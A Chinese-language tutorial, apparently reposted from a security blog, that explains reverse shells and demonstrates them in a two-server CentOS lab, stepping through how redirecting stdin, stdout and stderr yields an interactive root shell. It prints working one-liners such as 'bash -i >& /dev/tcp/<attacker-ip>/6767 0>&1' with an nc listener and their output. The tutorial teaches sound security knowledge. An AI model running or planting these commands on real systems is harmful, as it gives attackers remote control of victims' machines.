加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 综合聚焦 > 服务器 > 安全 > 正文

反弹shell原理与实现

发布时间:2020-12-16 01:55:02 所属栏目:安全 来源:网络整理
导读:什么是反弹shell? 反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。 ? 为什么要反弹sh

什么是反弹shell?

  反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

?

为什么要反弹shell?

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。?

2.目标机器的ip动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

?

==============================================================

参考

https://www.zhihu.com/question/24503813? ?知乎:反弹shell是什么意思啊?网上看了半天都没有相关的基础的解释?

?

反弹shell实验

环境:两台CentOS7.6服务器

  • 攻击端 hacker:10.201.61.194?
  • 受害端 victim:10.201.61.195?

1. 攻击端监听一个端口:

[[email?protected] ~]# nc -lvp 6767

Ncat: Version 7.50 ( https://nmap.org/ncat )

Ncat: Listening on :::6767

Ncat: Listening on 0.0.0.0:6767

?

2.受害端生成一个反弹shell:

[[email?protected] ~]# bash -i >& /dev/tcp/10.201.61.194/6767 0>&1

?

3.攻击端已获取到受害端的bash:

[[email?protected] ~]# nc -lvp 6767

Ncat: Version 7.50 ( https://nmap.org/ncat )

Ncat: Listening on :::6767

Ncat: Listening on 0.0.0.0:6767

Ncat: Connection from 10.201.61.195.

Ncat: Connection from 10.201.61.195:46836.

[[email?protected]victim ~]#? ? ? ? ?//攻击端已获得受害端的远程交互式shell

[[email?protected] ~]# hostname

hostname

victim

?

解释:

1. nc -lvp 6767

?-l 监听,-v?输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。

?

2. bash -i

-i interactive。即产生一个交互式的shell(bash)。

?

3. /dev/tcp/IP/PORT

特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是?bash?实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

?

?

通过以下4个小测试来分析反弹shell实现过程:

(PS: 注意执行步骤顺序)

?

测试1:

受害端:

[[email?protected] ~]# bash -i > /dev/tcp/10.201.61.194/5566? ? ? ? //第二步
[[email?protected]?~]# hostname? ? ? ? //第三步
[[email?protected]?~]#

攻击端:

[[email?protected] ~]# nc -lvp 5566? ? ? //第一步

Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:49018.

victim? ? ? //测试1结果:实现了将受害端的标准输出重定向到攻击端,但是还没实现用命令控制受害端。

?

测试2:

受害端:

[[email?protected] ~]# bash -i < /dev/tcp/10.201.61.194/5566? ? ? ? //第二步
[[email?protected] ~]# hostname? ? ? ? //测试2结果:实现了将攻击端的输入重定向到受害端,但是攻击端看不到命令执行结果。
victim

?攻击端:

[[email?protected] ~]# nc -lvp 5566? ? ? ? //第一步
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:50412.
hostname? ? ? ? //第三步(攻击端执行命令)

?

测试3

受害端:

[[email?protected] ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1? ? ? ? //第二步
[[email?protected] ~]# hostname? ? ? ? //受害端回显命令
[[email?protected] ~]# id? ? ? ? //受害端回显命令
[[email?protected] ~]# hahaha? ? ? ? //受害端回显命令
bash: hahaha: command not found? ? ? ? //受害端回显命令。显示错误命令的输出。
[[email?protected] ~]#

?攻击端:

[[email?protected] ~]# nc -lvp 5566? ? ? ? //第一步
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:36792.
hostname? ? ? ? //第三步(攻击端执行命令)
victim
id? ? ? ? //第四步(攻击端执行命令)
uid=0(root) gid=0(root) groups=0(root)
hahaha? ? ? ? //第五步(执行一个错误的命令)

//测试3结果:基本实现了反弹shell的功能。但是受害端的机器上依然回显了攻击者机器上执行的命令,且攻击端看不到错误命令的输出。

?

?测试4(将上面三个测试结合。将标准输入、标准输出、错误输出全都重定向到攻击端):?

受害端:

[[email?protected] ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1 2>&1? ? ? ? //第二步。或 # bash -i &> /dev/tcp/10.201.61.194/5566 0>&1? (注:&>或>& 表示混合输出,即标准输出1 + 错误输出2)

攻击端:

[[email?protected] ~]# nc -lvp 5566? ? ? ? //第一步
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::5566
Ncat: Listening on 0.0.0.0:5566
Ncat: Connection from 10.201.61.195.
Ncat: Connection from 10.201.61.195:51182.
[[email?protected] ~]# hostname? ? ? ? //第三步。测试4结果:攻击端已获得受害端的远程交互式shell,而且受害端没有再回显攻击端输入的命令~
hostname
victim

//PS:由测试3、测试4对比可见,标准错误2不仅显示错误信息的作用,居然还有回显输入命令和终端提示符的作用~~~

?

总结

本文整理了反弹shell的一些资料并通过实验理解反弹shell原理。深入理解文件描述符和重定向才能更好弄懂反弹shell~

?

==============================================================

参考:

https://xz.aliyun.com/t/2549? ?先知社区:Linux 反弹shell(二)反弹shell的本质

https://www.freebuf.com/articles/system/153986.html? ?FREEBUF:浅析重定向与反弹Shell命令

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读